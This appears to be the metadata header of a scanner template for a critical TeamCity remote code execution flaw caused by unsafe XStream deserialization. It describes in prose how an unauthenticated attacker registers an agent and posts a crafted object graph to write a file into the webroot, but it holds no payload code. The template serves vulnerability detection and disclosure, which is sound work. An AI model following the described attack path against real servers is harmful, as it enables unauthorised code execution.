JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution

id: CVE-2026-63077

info:
  name: JetBrains TeamCity < 2026.1.3, 2025.11.7 - Remote Code Execution
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    JetBrains TeamCity < 2026.1.3, 2025.11.7 contains a remote code execution caused by unsafe XStream deserialization in the unauthenticated agent polling protocol. The XStream instance serving /app/agents/v1 is created without NoTypePermission.NONE, so XStream's default type permissions (Throwable, Map and Collection hierarchies) remain in effect next to the TeamCity allowlist. An unauthenticated attacker registers an agent, obtains a TeamCity-AgentSessionId, and posts an XStream XML object graph to /app/agents/v1/commands/error that makes TeamCity write an attacker-controlled file into the webroot. This template writes an arithmetic-canary JSP (no OS command execution) and matches its evaluated output.
  impact: |
    Unauthenticated remote attackers can execute arbitrary code with the privileges of the TeamCity server process.
  remediation: |
    Upgrade to TeamCity 2026.1.3, 2025.11.7 or later.
